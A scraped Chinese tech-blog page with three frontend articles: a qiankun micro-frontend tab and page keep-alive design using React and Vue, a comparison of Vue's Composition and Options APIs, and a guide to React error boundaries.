普通视图

发现新文章,点击刷新页面。
今天 — 2025年12月8日技术

全网最全的 qiankun 基于 react18+(主应用)、vue3.4+(微应用)实现页签缓存,页面缓存

作者 四眼肥鱼
2025年12月8日 14:07

Qiankun 微前端配置与页签缓存实现方案

qiankun-blue.jpg

需要源码可以私信我

📋 目录


项目概述

基于 qiankun 微前端框架实现了一个支持多页签缓存子应用保活的主应用系统。主要特性包括:

  • ✅ 手动挂载模式(loadMicroApp
  • ✅ 子应用保活缓存机制
  • ✅ 多页签状态同步
  • ✅ 子应用间快速切换
  • ✅ 页面刷新自动恢复

技术栈

  • 主框架: React + TypeScript
  • 微前端框架: qiankun
  • 微应用框架:vue 全家桶
  • 微应用兼容 vite 方案:vite-plugin-qiankun
  • 主应用状态管理: Redux Toolkit
  • 主应用路由: React Router
  • 主应用UI 组件库: TDesign

实现思路

1. 整体架构设计

本方案采用 "手动挂载 + 容器保活" 的架构模式,核心思想是:

  • 主应用(React)作为容器和调度中心,负责微应用的注册、挂载、卸载和状态管理
  • 子应用(Vue)作为独立的功能模块,通过 qiankun 生命周期钩子接入
  • 页签系统作为用户交互层,管理多个子应用页面的打开、切换和关闭
  • 缓存机制通过 DOM 容器复用实现子应用保活,避免重复挂载带来的性能损耗
graph TB
    subgraph MainApp["主应用 (React)"]
        TagsView["页签管理<br/>TagsView"]
        Router["路由管理<br/>Router"]
        Redux["状态管理<br/>Redux"]
        Manager["微应用管理器<br/>registerApp.ts"]
        
        TagsView --> Manager
        Router --> Manager
        Redux --> Manager
    end
    
    subgraph Containers["容器层"]
        Container1["容器1<br/>subApp-app1"]
        Container2["容器2<br/>subApp-app2"]
        Container3["容器3<br/>subApp-app3"]
    end
    
    subgraph SubApps["子应用层"]
        SubApp1["子应用1<br/>(Vue)"]
        SubApp2["子应用2<br/>(Vue)"]
        SubApp3["子应用3<br/>(Vue)"]
    end
    
    Manager --> Container1
    Manager --> Container2
    Manager --> Container3
    
    Container1 --> SubApp1
    Container2 --> SubApp2
    Container3 --> SubApp3
    
    style MainApp fill:#e1f5ff
    style Containers fill:#fff4e1
    style SubApps fill:#e8f5e9

2. 核心设计理念

2.1 容器隔离策略

问题:qiankun 默认的 singular: true 模式只允许同时挂载一个子应用,切换时需要卸载旧应用再挂载新应用,导致:

  • 应用状态丢失
  • 重复加载资源
  • 用户体验差

解决方案

  • 设置 singular: false,允许多实例共存
  • 为每个子应用创建独立的 DOM 容器(subApp-{appName}
  • 通过 display: none/block 控制容器显示/隐藏
  • 应用实例保留在内存中,实现真正的"保活"
// 关键配置
{
  singular: false,  // 允许多实例
  sandbox: {
    strictStyleIsolation: false,
  }
}

// 容器创建
const containerId = `subApp-${appName}`
container.style.display = 'none'  // 初始隐藏
2.2 LRU 缓存淘汰策略

问题:无限缓存会导致内存泄漏和性能问题

解决方案

  • 维护一个 Map<string, CachedMicroApp> 缓存池
  • 记录每个应用的 lastActiveTime(最后激活时间)
  • 当缓存数量超过 MAX_CACHED_APPS(默认 5)时,自动清理最旧的非当前应用
  • 确保当前激活的应用不会被清理
// 缓存结构
type CachedMicroApp = {
  instance: QiankunMicroApp    // qiankun 实例
  containerId: string          // DOM 容器 ID
  lastActiveTime: number       // 最后激活时间(LRU 关键)
  entry: string               // 入口地址
}

// LRU 清理逻辑
const cleanupOldestCachedApp = async () => {
  // 找到最旧的非当前激活应用
  let oldestName = null
  let oldestTime = Infinity
  cachedMicroApps.forEach((cached, name) => {
    if (name !== currentAppName && cached.lastActiveTime < oldestTime) {
      oldestTime = cached.lastActiveTime
      oldestName = name
    }
  })
  if (oldestName) {
    await destroyCachedApp(oldestName)
  }
}
2.3 状态同步机制

问题:主应用的页签状态需要同步到子应用,让子应用知道哪些页面需要缓存

解决方案

  • 使用 qiankun 的 initGlobalState 创建全局状态
  • 主应用在页签变化时通过 setGlobalState 推送状态
  • 子应用通过 onGlobalStateChange 监听状态变化
  • 状态包含 cachedTags(需要缓存的页签列表)和 activeTagId(当前激活的页签 ID)
// 主应用推送
const action = initGlobalState({ 
  cachedTags: ['/page1', '/page2'], 
  activeTagId: 'tag-1' 
})
action.setGlobalState({ cachedTags, activeTagId })

// 子应用监听
props.onGlobalStateChange((state) => {
  const { cachedTags, activeTagId } = state
  // 更新子应用的 keep-alive 缓存
  updateKeepAliveCache(cachedTags)
}, true)

3. 关键技术实现

3.1 挂载流程设计
flowchart TD
    Start([用户操作<br/>点击页签/路由变化]) --> CheckCache{检查缓存中<br/>是否存在该应用}
    
    CheckCache -->|缓存命中| HideAll[隐藏所有容器]
    CheckCache -->|缓存未命中| CheckFull{检查缓存<br/>是否已满}
    
    HideAll --> ShowTarget[显示目标容器]
    ShowTarget --> UpdateTime1[更新激活时间]
    UpdateTime1 --> UpdateURL1[更新 URL]
    UpdateURL1 --> TriggerEvent1[触发路由事件]
    TriggerEvent1 --> Return1([返回实例<br/>快速响应])
    
    CheckFull -->|已满| CleanLRU[清理最旧应用<br/>LRU策略]
    CheckFull -->|未满| CreateContainer[创建新容器]
    CleanLRU --> CreateContainer
    
    CreateContainer --> LoadApp[使用 loadMicroApp 挂载]
    LoadApp --> WaitMount[等待挂载完成]
    WaitMount --> ShowContainer[显示容器]
    ShowContainer --> AddCache[加入缓存]
    AddCache --> UpdateTime2[更新激活时间]
    UpdateTime2 --> TriggerEvent2[触发路由事件]
    TriggerEvent2 --> Return2([返回实例])
    
    style Start fill:#e1f5ff
    style Return1 fill:#c8e6c9
    style Return2 fill:#c8e6c9
    style CheckCache fill:#fff4e1
    style CheckFull fill:#fff4e1
3.2 切换优化策略

同应用内切换

  • 只需更新路由(navigate
  • 触发 hashchange 事件
  • 子应用内部路由处理
  • 无需重新挂载,性能最优

跨应用切换

  • 检查目标应用是否在缓存中
  • 缓存命中:直接显示容器(毫秒级响应)
  • 缓存未命中:创建容器并挂载(首次加载)
  • 缓存命中时接近同应用切换的性能
3.3 卸载策略

保活模式下的卸载

  • 不执行真正的 unmount()
  • 仅隐藏容器(display: none
  • 保留应用实例和状态
  • 下次激活时直接显示,无需重新挂载

强制卸载场景

  • 页面刷新
  • 用户登出
  • 手动清理缓存
  • 执行真正的 unmount() 和容器销毁

4. 数据流设计

4.1 页签状态流
flowchart TD
    Start([路由变化<br/>location.hash]) --> Listen[TagsView 监听<br/>useEffect]
    Listen --> FindMatch[从 mircoAppHash<br/>查找匹配项]
    FindMatch --> CheckExist{检查页签<br/>是否已存在}
    
    CheckExist -->|已存在| UpdateActive[更新激活 ID]
    CheckExist -->|不存在| AddTag[添加新页签]
    
    UpdateActive --> Notify1[通知子应用缓存]
    
    AddTag --> UpdateRedux[更新 Redux]
    UpdateRedux --> Notify2[通知子应用缓存]
    
    style Start fill:#e1f5ff
    style CheckExist fill:#fff4e1
    style Notify1 fill:#c8e6c9
    style Notify2 fill:#c8e6c9
4.2 应用挂载流
flowchart TD
    Start([页签切换<br/>changeHandle]) --> CheckSame{判断是否<br/>同应用}
    
    CheckSame -->|同应用| UpdateRoute[更新路由]
    CheckSame -->|不同应用| MountApp[调用 mountMicroApp]
    
    UpdateRoute --> TriggerHash[触发 hashchange]
    
    MountApp --> CheckCache{检查缓存}
    CheckCache -->|缓存命中| ShowContainer[显示容器]
    CheckCache -->|缓存未命中| CreateAndMount[创建容器并挂载]
    
    ShowContainer --> UpdateURL[更新 URL]
    UpdateURL --> Return([返回实例])
    
    CreateAndMount --> Return
    
    style Start fill:#e1f5ff
    style CheckSame fill:#fff4e1
    style CheckCache fill:#fff4e1
    style Return fill:#c8e6c9

5. 性能优化考虑

5.1 内存管理
  • 限制缓存数量:最多 5 个应用,防止内存溢出
  • LRU 自动清理:超出限制时自动清理最旧应用
  • 按需卸载:非保活模式或强制卸载时才真正销毁
5.2 加载优化
  • 缓存命中:直接显示容器,响应时间 < 10ms
  • 首次加载:使用 loadMicroApp 按需加载,避免预加载所有应用
  • 容器复用:同一应用多次打开复用同一容器
5.3 状态同步优化
  • 批量更新:页签变化时批量推送状态,减少通信次数
  • 按需监听:子应用按需订阅全局状态,避免不必要的更新

6. 兼容性设计

6.1 Vite 子应用支持
  • 使用 vite-plugin-qiankun 插件
  • 子应用需要配置正确的 publicPath
  • 支持开发环境和生产环境的不同配置
6.2 路由兼容
  • 主应用使用 React Router
  • 子应用使用 Vue Router(hash 模式)
  • 通过 window.location.hash 和事件触发实现路由同步
6.3 样式隔离
  • 当前未启用严格样式隔离(strictStyleIsolation: false
  • 建议子应用使用 CSS Modules 或 scoped 样式
  • 避免全局样式污染

7. 错误处理与容错

7.1 挂载失败处理
  • 捕获异常并显示错误提示
  • 清理失败的容器和缓存
  • 允许用户重试
7.2 容器不存在处理
  • 自动创建容器(ensureContainer
  • 支持多种父容器选择器降级
  • 容器创建失败时抛出明确错误
7.3 页面刷新恢复
  • 根据当前 URL 自动识别需要挂载的应用
  • 从配置映射表查找匹配的微应用
  • 自动恢复挂载状态

总结:本方案通过容器隔离、LRU 缓存、状态同步等核心机制,实现了高效的微应用页签缓存系统,在保证用户体验的同时有效控制了资源消耗。

Qiankun 配置方案

1. 基础配置

项目采用 手动挂载模式loadMicroApp),而非路由自动注册模式(registerMicroApps)。这种方式提供了更精细的控制能力,特别适合需要保活缓存的场景。

核心配置参数
// src/utils/registerApp.ts

// 沙箱配置
const sandboxConfig = {
  sandbox: {
    strictStyleIsolation: false,        // 不启用严格样式隔离
    experimentalStyleIsolation: false,  // 不启用实验性样式隔离
  },
  singular: false,  // 允许多实例同时存在(保活必需)
}
微应用配置类型
type MicroAppConfig = {
  name: string          // 微应用名称(唯一标识)
  entry: string        // 微应用入口地址
  container: string    // 容器选择器
  activeRule: string   // 激活规则(路由匹配)
  props: MicroAppProps // 传递给子应用的 props
}

2. 微应用 Props 配置(我自己的项目是这样的可以根据实际进行更改)

主应用通过 props 向子应用传递必要的上下文和方法:

type MicroAppProps = {
  token: string | null              // 用户 token
  onLogin: () => void               // 登录回调
  message: typeof MessagePlugin     // 消息提示组件
  notification: typeof NotificationPlugin  // 通知组件
  getUserInfo: () => UserData       // 获取用户信息
  usePermissionList: string[]      // 权限列表
  getBtnCodeList: () => string[]   // 按钮权限列表
  fetchUserInfo: () => void        // 刷新用户信息
  onRefreshPage: (fn: () => void) => void  // 页面刷新回调
  onLogOut: () => void             // 登出回调
  addTagView: (path: string) => void  // 添加页签
  getDefaultPath: () => string | null  // 获取默认路径
}

3. 容器管理

每个微应用使用独立的 DOM 容器,通过容器显示/隐藏实现保活:

// 容器命名规则: subApp-{appName}
const containerId = `subApp-${appName}`

// 容器样式
container.className = 'h-full w-full absolute inset-0'
container.style.display = 'none'  // 初始隐藏

子应用页签缓存实现

1. 缓存架构

缓存数据结构
type CachedMicroApp = {
  instance: QiankunMicroApp    // qiankun 微应用实例
  containerId: string          // DOM 容器 ID
  lastActiveTime: number       // 最后激活时间(用于 LRU 清理)
  entry: string               // 入口地址
}

// 缓存存储
const cachedMicroApps: Map<string, CachedMicroApp> = new Map()
缓存配置
// 是否启用保活模式(默认启用)
let keepAliveEnabled = true

// 最大缓存数量(超过时清理最旧的应用)
const MAX_CACHED_APPS = 5

2. 缓存生命周期

2.1 首次挂载(缓存创建)
// 1. 检查缓存是否已满,清理最旧的应用
await cleanupOldestCachedApp()

// 2. 隐藏所有已缓存的应用容器
hideAllCachedContainers()

// 3. 为新应用创建独立容器
const appContainerId = createAppContainer(name, mainContainerId)

// 4. 使用 loadMicroApp 挂载
const microApp = loadMicroApp({
  name,
  entry,
  container: `#${appContainerId}`,
  props: mergedProps,
}, sandboxConfig)

// 5. 等待挂载完成
await microApp.mountPromise

// 6. 显示容器并加入缓存
showAppContainer(appContainerId)
cachedMicroApps.set(name, {
  instance: microApp,
  containerId: appContainerId,
  lastActiveTime: Date.now(),
  entry,
})
2.2 从缓存激活
// 1. 检查缓存中是否存在
const cached = cachedMicroApps.get(name)

if (cached) {
  // 2. 隐藏所有其他应用的容器
  hideAllCachedContainers()
  
  // 3. 显示目标应用的容器
  showAppContainer(cached.containerId)
  
  // 4. 更新激活时间
  cached.lastActiveTime = Date.now()
  
  // 5. 更新当前应用信息
  currentAppName = name
  currentMicroApp = cached.instance
  
  // 6. 更新 URL 并触发路由事件
  if (path) {
    window.history.pushState(null, '', path)
    window.dispatchEvent(new HashChangeEvent('hashchange'))
    window.dispatchEvent(new PopStateEvent('popstate'))
  }
  
  return cached.instance  // 直接返回,无需重新挂载
}
2.3 缓存清理(LRU 策略)

当缓存数量超过 MAX_CACHED_APPS 时,清理最旧的非当前激活应用:

const cleanupOldestCachedApp = async () => {
  if (cachedMicroApps.size < MAX_CACHED_APPS) {
    return
  }

  // 找到最旧的非当前激活的应用
  let oldestName: string | null = null
  let oldestTime = Infinity

  cachedMicroApps.forEach((cached, name) => {
    if (name !== currentAppName && cached.lastActiveTime < oldestTime) {
      oldestTime = cached.lastActiveTime
      oldestName = name
    }
  })

  if (oldestName) {
    await destroyCachedApp(oldestName)
  }
}

3. 页签状态同步

主应用通过 qiankun 全局状态initGlobalState)向子应用同步页签缓存信息:

// src/layout/TagsView/index.tsx

// 通知子应用缓存的公共方法
const notifySubAppCache = (tagsList: typeof tagsViewList, triggerSource: string) => {
  const stateTags = tagsList.map((item) => {
    if (item.path) {
      return (item.path as string).split('/').pop()
    }
    return '*'
  })
  
  // 使用 qiankun 全局状态同步
  const action: MicroAppStateActions = initGlobalState({ cachedTags: stateTags })
  action.setGlobalState({ cachedTags: stateTags })
}

触发时机

  • 新增页签时
  • 切换页签时
  • 删除页签时
  • 页签已存在时(确保状态同步)

子应用接收(子应用需要实现):

// 子应用代码示例
export async function mount(props) {
  // 监听全局状态变化
  props.onGlobalStateChange((state, prev) => {
    const { cachedTags } = state
    // 根据 cachedTags 更新子应用的 keep-alive 缓存
    updateKeepAliveCache(cachedTags)
  }, true)  // fireImmediately = true,立即触发一次
}

子应用切换实现

1. 切换流程

1.1 同应用内页面切换

当切换的页签属于同一个微应用时,只需更新路由,无需重新挂载:

// src/layout/TagsView/index.tsx

const changeHandle = async (value: TabValue) => {
  const findItem = tagsViewList.find((item) => item.id == value)
  const currentApp = getCurrentAppName()
  
  // 判断是否是同一个微应用内的页面切换
  if (currentApp === findItem.mircoAppName) {
    // 同一个微应用内切换,只需更新路由
    navigate(`${findItem.activeRule}/#${findItem.path}`)
    window.dispatchEvent(new Event('hashchange'))
  }
}
1.2 不同应用间切换

当切换到不同的微应用时,触发挂载流程:

else if (findItem.mircoAppName && findItem.entry) {
  // 不同微应用之间切换,需要挂载新应用
  initMicroApps(mircoAppList)
  await mountMicroApp({
    name: findItem.mircoAppName as string,
    entry: findItem.entry as string,
    path: fullPath,
  })
}

切换逻辑

  1. 如果目标应用已在缓存中 → 直接激活(显示容器)
  2. 如果目标应用不在缓存中 → 创建新容器并挂载
  3. 如果缓存已满 → 清理最旧的应用后再挂载

2. 卸载逻辑

2.1 保活模式下的卸载

在保活模式下,卸载操作实际上只是隐藏容器,不真正销毁应用:

export const unmountMicroApp = async (force = false): Promise<void> => {
  // 保活模式下,只隐藏容器,不真正卸载
  if (keepAliveEnabled && !force) {
    const cached = cachedMicroApps.get(currentAppName)
    if (cached) {
      hideAppContainer(cached.containerId)  // 仅隐藏
      currentMicroApp = null
      currentAppName = null
      return  // 不执行真正的卸载
    }
  }
  
  // 非保活模式或强制卸载,执行真正的卸载
  // ...
}
2.2 强制卸载

某些场景需要真正销毁应用(如刷新、登出):

// 强制卸载指定应用
export const removeCachedApp = async (appName: string): Promise<void> => {
  if (cachedMicroApps.has(appName)) {
    await destroyCachedApp(appName)  // 真正销毁
  }
}

// 清空所有缓存
export const clearAllCachedApps = async (): Promise<void> => {
  const appNames = Array.from(cachedMicroApps.keys())
  for (const appName of appNames) {
    await destroyCachedApp(appName)
  }
}

3. 页面刷新恢复

页面刷新后,根据当前路由自动恢复微应用挂载:

// src/views/microApp/index.tsx

useEffect(() => {
  if (mircoAppList && mircoAppList.length > 0 && !mountedRef.current) {
    // 初始化微应用配置
    initMicroApps(mircoAppList)
    
    // 根据当前路由挂载微应用
    const timer = setTimeout(async () => {
      const mounted = await remountByCurrentRoute()
      if (mounted) {
        mountedRef.current = true
      }
    }, 100)
    
    return () => clearTimeout(timer)
  }
}, [mircoAppList])
// src/utils/registerApp.ts

export const remountByCurrentRoute = async (): Promise<boolean> => {
  const currentPathname = window.location.pathname
  const currentHash = window.location.hash
  const fullPath = currentPathname + currentHash
  
  // 查找匹配当前路由的微应用配置
  const matchedConfig = findMicroAppByPath(currentPathname)
  
  if (!matchedConfig) {
    return false
  }
  
  // 挂载微应用
  const app = await mountMicroApp({
    name: matchedConfig.name,
    entry: matchedConfig.entry,
    container: matchedConfig.container,
    path: fullPath,
  })
  
  return app !== null
}

核心代码解析

1. 微应用初始化

// src/utils/registerApp.ts

export const initMicroApps = (appData: any[], permissionList = ['*']) => {
  if (!appData || !appData.length) {
    console.warn('没有可用的微应用数据')
    return
  }

  globalPermissionList = permissionList

  // 转换应用数据并缓存配置
  const flatData = flattenData(appData)
  const configs = transformData(flatData, permissionList)

  // 存储到配置映射表
  configs.forEach((config) => {
    microAppConfigMap.set(config.name, config)
  })

  console.log('微应用配置已初始化:', Array.from(microAppConfigMap.keys()))
}

2. 挂载核心逻辑

export const mountMicroApp = async (params: MountMicroAppParams): Promise<QiankunMicroApp | null> => {
  const { name, entry, container = '#subApp', path, defaultPath, props: extraProps } = params
  
  try {
    loader(true)
    
    // 确保容器存在
    const mainContainerId = getContainerId(container)
    const containerReady = await waitForContainer(mainContainerId)
    if (!containerReady) {
      throw new Error(`容器 #${mainContainerId} 不存在或无法创建`)
    }

    // ==================== 保活模式逻辑 ====================
    if (keepAliveEnabled) {
      // 检查缓存
      const cached = cachedMicroApps.get(name)
      
      if (cached) {
        // 从缓存激活
        hideAllCachedContainers()
        showAppContainer(cached.containerId)
        cached.lastActiveTime = Date.now()
        currentAppName = name
        currentMicroApp = cached.instance
        
        if (path) {
          window.history.pushState(null, '', path)
          window.dispatchEvent(new HashChangeEvent('hashchange'))
        }
        
        loader(false)
        return cached.instance
      }
      
      // 新建并缓存
      await cleanupOldestCachedApp()
      hideAllCachedContainers()
      const appContainerId = createAppContainer(name, mainContainerId)
      
      const microApp = loadMicroApp({
        name,
        entry,
        container: `#${appContainerId}`,
        props: mergedProps,
      }, sandboxConfig)
      
      await microApp.mountPromise
      showAppContainer(appContainerId)
      
      cachedMicroApps.set(name, {
        instance: microApp,
        containerId: appContainerId,
        lastActiveTime: Date.now(),
        entry,
      })
      
      currentAppName = name
      currentMicroApp = microApp
      
      loader(false)
      return microApp
    }
    
    // ==================== 非保活模式 ====================
    // ... 传统卸载后挂载逻辑
  } catch (error) {
    console.error(`挂载微应用 ${name} 失败:`, error)
    loader(false)
    return null
  }
}

3. 页签管理

// src/layout/TagsView/index.tsx

// 监听路由变化,自动添加页签
useEffect(() => {
  const hashPath = extractPath(location.hash)
  
  if (mircoAppHash[hashPath]) {
    const matchedItem = mircoAppHash[hashPath]
    const index = tagsViewList.findIndex((tag) => tag?.id == matchedItem?.id)
    
    if (~index) {
      // 页签已存在,只更新激活状态
      dispatch(setActionTagsViewId(matchedItem.id))
      notifySubAppCache(tagsViewList, `页签已存在 ${hashPath}`)
      return
    }
    
    // 新增页签
    const _tagsViewList = cloneDeep(tagsViewList) ?? []
    _tagsViewList.push(matchedItem)
    dispatch(setTagsViewList(_tagsViewList))
    dispatch(setActionTagsViewId(matchedItem.id))
    
    // 通知子应用缓存更新
    notifySubAppCache(_tagsViewList, `新页签打开 ${hashPath}`)
  }
}, [location.hash])

使用说明

1. 初始化微应用

import { initMicroApps } from '@/utils/registerApp'

// 在应用启动时初始化
useEffect(() => {
  if (mircoAppList && mircoAppList.length > 0) {
    initMicroApps(mircoAppList, permissionList)
  }
}, [mircoAppList])

2. 挂载微应用

import { mountMicroApp } from '@/utils/registerApp'

// 手动挂载
await mountMicroApp({
  name: 'app-name',
  entry: 'https://app.example.com',
  container: '#subApp',
  path: '/wly-base/app-name/#/home',
  defaultPath: '/home',  // 子应用默认路径
})

3. 控制保活模式

import { setKeepAliveEnabled, isKeepAliveEnabled } from '@/utils/registerApp'

// 启用/禁用保活
setKeepAliveEnabled(true)

// 查询状态
const enabled = isKeepAliveEnabled()

4. 清理缓存

import { clearAllCachedApps, removeCachedApp } from '@/utils/registerApp'

// 清空所有缓存
await clearAllCachedApps()

// 移除指定应用
await removeCachedApp('app-name')

5. 子应用接入

子应用需要:

  1. 导出生命周期钩子
// 子应用入口文件
export async function bootstrap() {
  console.log('子应用启动')
}

export async function mount(props) {
  // 监听全局状态
  props.onGlobalStateChange((state) => {
    const { cachedTags } = state
    // 更新 keep-alive 缓存
  }, true)
  
  // 渲染应用
  render(props)
}

export async function unmount() {
  // 清理
}
  1. 配置 webpack publicPath
// webpack.config.js
module.exports = {
  output: {
    publicPath: process.env.NODE_ENV === 'production' 
      ? 'https://app.example.com/' 
      : '//localhost:3000/',
  },
}

注意事项

1. 容器管理

  • ✅ 每个微应用使用独立容器(subApp-{appName}
  • ✅ 容器使用绝对定位,避免布局冲突
  • ✅ 切换时通过 display: none/block 控制显示

2. 内存管理

  • ⚠️ 缓存数量限制为 5 个(MAX_CACHED_APPS
  • ⚠️ 超过限制时自动清理最旧的应用
  • ⚠️ 页面刷新会清空所有缓存

3. 路由同步

  • ✅ 使用 window.history.pushState 更新 URL
  • ✅ 手动触发 hashchangepopstate 事件
  • ✅ 子应用需要监听路由变化

4. 状态同步

  • ✅ 使用 qiankun initGlobalState 同步页签状态
  • ✅ 子应用需要实现 onGlobalStateChange 监听
  • ✅ 页签变化时及时通知子应用

5. 样式隔离

  • ⚠️ 当前未启用严格样式隔离
  • ⚠️ 建议使用 CSS Modules 或 styled-components
  • ⚠️ 避免全局样式污染

6. 性能优化

  • ✅ 保活模式减少重复挂载开销
  • ✅ LRU 缓存策略控制内存使用
  • ✅ 容器显示/隐藏比卸载/挂载更快

在大型项目中为什么更推荐Composition API?它解决了哪些工程化问题?

2025年12月8日 14:06

1. 更好的逻辑组织和复用

Options API 的问题

// Options API - 逻辑分散在不同选项中
export default {
  data() {
    return {
      users: [],
      loading: false,
      searchQuery: '',
      pagination: {
        page: 1,
        limit: 10,
        total: 0
      }
    }
  },
  
  computed: {
    filteredUsers() {
      // 用户筛选逻辑
    },
    totalPages() {
      // 分页计算逻辑
    }
  },
  
  methods: {
    async fetchUsers() {
      // 数据获取逻辑
    },
    handleSearch() {
      // 搜索逻辑
    },
    handlePageChange() {
      // 分页逻辑
    }
  },
  
  mounted() {
    this.fetchUsers()
  }
}

Composition API 的优势

// Composition API - 按功能组织代码
import { ref, computed, onMounted } from 'vue'
import { userApi } from '@/api/user'

export default {
  setup() {
    // 用户管理功能
    const { users, loading, fetchUsers, searchUsers } = useUserManagement()
    
    // 搜索功能
    const { searchQuery, filteredUsers } = useSearch(users)
    
    // 分页功能
    const { pagination, paginatedUsers, handlePageChange } = usePagination(filteredUsers)
    
    onMounted(() => {
      fetchUsers()
    })
    
    return {
      users: paginatedUsers,
      loading,
      searchQuery,
      pagination,
      handlePageChange,
      searchUsers
    }
  }
}

// 可复用的用户管理逻辑
function useUserManagement() {
  const users = ref([])
  const loading = ref(false)
  
  const fetchUsers = async () => {
    loading.value = true
    try {
      users.value = await userApi.getUsers()
    } finally {
      loading.value = false
    }
  }
  
  const searchUsers = async (query) => {
    // 搜索实现
  }
  
  return {
    users,
    loading,
    fetchUsers,
    searchUsers
  }
}

// 可复用的搜索逻辑
function useSearch(source) {
  const searchQuery = ref('')
  
  const filteredUsers = computed(() => {
    if (!searchQuery.value) return source.value
    return source.value.filter(user => 
      user.name.includes(searchQuery.value)
    )
  })
  
  return {
    searchQuery,
    filteredUsers
  }
}

2. 更好的 TypeScript 支持

Composition API 的完整类型推断

import { ref, computed, Ref } from 'vue'

interface User {
  id: number
  name: string
  email: string
  role: string
}

// 明确的类型定义
function useUserManagement() {
  const users: Ref<User[]> = ref([])
  const loading = ref(false)
  
  const adminUsers = computed(() => 
    users.value.filter(user => user.role === 'admin')
  )
  
  return {
    users,
    loading,
    adminUsers
  }
}

3. 更清晰的代码组织模式

基于功能的代码分割

// feature-based-composition.js
export default {
  setup() {
    // 每个功能独立封装
    const cart = useCart()
    const user = useUser()
    const products = useProducts()
    const notifications = useNotifications()
    
    // 功能间的依赖关系更清晰
    watch(() => user.isLoggedIn, (loggedIn) => {
      if (loggedIn) {
        cart.syncCart()
        notifications.fetchUnread()
      }
    })
    
    return {
      ...cart,
      ...user,
      ...products,
      ...notifications
    }
  }
}

4. 更好的可测试性

// 独立的逻辑函数易于测试
import { useUserManagement } from './userComposition'

describe('useUserManagement', () => {
  it('should fetch users correctly', async () => {
    const { users, fetchUsers } = useUserManagement()
    
    await fetchUsers()
    
    expect(users.value).toHaveLength(3)
  })
})

5. 解决的具体工程化问题

5.1 逻辑关注点分离

Options API 问题:相关逻辑分散在 datamethodscomputed 中
Composition API 解决:相关逻辑集中在一个组合函数中

5.2 代码复用性

Options API 问题:mixins 存在命名冲突和来源不清晰
Composition API 解决:明确的函数调用和返回值

5.3 类型推导

Options API 问题:复杂的 this 上下文类型推断
Composition API 解决:简单的变量和函数类型

5.4 可维护性

Options API 问题:组件越大,代码越难理解和维护
Composition API 解决:按功能拆分为小型、专注的组合函数

5.5 团队协作

// 大型项目中的团队协作示例
export default {
  setup() {
    // 团队A负责的用户模块
    const user = useUserModule()
    
    // 团队B负责的支付模块
    const payment = usePaymentModule()
    
    // 团队C负责的通知模块
    const notifications = useNotificationModule()
    
    // 清晰的模块边界和接口
    return {
      ...user,
      ...payment,
      ...notifications
    }
  }
}

6.总结

Composition API 在大型项目中更受推荐的主要原因:

  1. 更好的逻辑组织:按功能而非选项类型组织代码
  2. 更强的类型支持:完整的 TypeScript 集成
  3. 更高的复用性:逻辑可以轻松提取和复用
  4. 更清晰的代码结构:大型组件更易理解和维护
  5. 更好的可测试性:逻辑与组件实例解耦
  6. 更佳的团队协作:明确的模块边界和接口

优雅地处理前端错误边界

作者 dorisrv
2025年12月8日 13:59

优雅地处理前端错误边界

🤔 为什么需要错误边界?

在前端开发中,一个组件的错误可能会导致整个应用崩溃。想象一下:用户正在填写一个复杂的表单,突然因为某个组件的小错误,整个页面白屏了——这是多么糟糕的用户体验!

错误边界(Error Boundary)就是为了解决这个问题而生的。它可以捕获子组件树中的 JavaScript 错误,记录错误信息,并显示一个备用 UI,而不是让整个应用崩溃。

💡 React 中的错误边界实现

基础实现

💡 重要提示:截至 React 18,错误边界仍然只能通过类组件实现,这是 React 框架的限制。但我们可以结合 Hooks 来使用它!

import React from 'react';

// 错误边界必须使用类组件实现
class ErrorBoundary extends React.Component {
  state = { hasError: false, error: null, errorInfo: null };

  // 静态方法,用于在错误发生后更新状态
  static getDerivedStateFromError(error) {
    return { hasError: true, error };
  }

  // 捕获错误并记录
  componentDidCatch(error, errorInfo) {
    console.error('错误边界捕获到错误:', error, errorInfo);
    this.setState({ errorInfo });
    // 可以在这里上报错误日志
  }

  // 重置错误状态的方法
  handleReset = () => {
    this.setState({ hasError: false, error: null, errorInfo: null });
    if (this.props.onReset) {
      this.props.onReset();
    }
  };

  render() {
    if (this.state.hasError) {
      // 支持自定义错误 UI
      return this.props.fallbackUI || (
        <div className="error-boundary">
          <h2>抱歉,页面出现了错误 😢</h2>
          <div className="error-details">
            <p>{this.state.error?.toString()}</p>
            <details>
              <summary>错误详情</summary>
              {this.state.errorInfo?.componentStack}
            </details>
          </div>
          <button 
            onClick={this.handleReset} 
            className="retry-button"
          >
            重试
          </button>
        </div>
      );
    }

    return this.props.children;
  }
}

export default ErrorBoundary;

Hooks + 错误边界的组合使用

虽然错误边界本身需要类组件,但我们可以在 Hooks 组件中轻松使用它:

import React, { useState } from 'react';
import ErrorBoundary from './ErrorBoundary';

// 一个可能出错的 Hooks 组件
const BuggyComponent = () => {
  const [count, setCount] = useState(0);
  
  if (count > 3) {
    // 模拟错误
    throw new Error('计数超过限制了!');
  }
  
  return (
    <div>
      <h3>当前计数: {count}</h3>
      <button onClick={() => setCount(count + 1)}>增加计数</button>
    </div>
  );
};

// 在主组件中使用错误边界包裹
const App = () => {
  return (
    <div className="app">
      <h1>React 错误边界示例</h1>
      
      <ErrorBoundary
        // 可以自定义错误 UI
        fallbackUI={
          <div className="custom-error">
            <h3>😱 组件出错了!</h3>
            <p>计数组件加载失败,请重试</p>
          </div>
        }
      >
        <BuggyComponent />
      </ErrorBoundary>
    </div>
  );
};

export default App;

🚀 进阶优化

1. 错误日志上报

结合现代 JavaScript 语法和 Fetch API:

componentDidCatch(error, errorInfo) {
  // 上报错误信息到服务器
  fetch('/api/error-report', {
    method: 'POST',
    headers: {
      'Content-Type': 'application/json'
    },
    body: JSON.stringify({
      error: error.toString(),
      stack: errorInfo.componentStack,
      userAgent: navigator.userAgent,
      url: window.location.href,
      timestamp: new Date().toISOString()
    })
  })
  .catch(reportError => {
    console.error('错误上报失败:', reportError);
  });
}

2. 支持重置回调

在上面的基础实现中已经包含了重置功能,使用方式:

<ErrorBoundary
  onReset={() => {
    // 重置相关状态或执行清理操作
    console.log('错误边界已重置');
  }}
>
  <BuggyComponent />
</ErrorBoundary>

⚠️ 注意事项

React 错误边界

  1. 只能捕获子组件树中的错误,不能捕获自身的错误
  2. 不能捕获异步代码中的错误(如 setTimeout、fetch 回调等)
  3. 不能捕获事件处理器中的错误(如 onClick 事件处理函数)
  4. React 16+ 才支持错误边界
  5. 必须使用类组件实现(React 框架限制)

Vue 3 错误处理

  1. onErrorCaptured 钩子只能捕获子组件的错误
  2. 可以捕获模板编译和渲染时的错误
  3. 默认会向上传播错误,返回 false 可以阻止传播
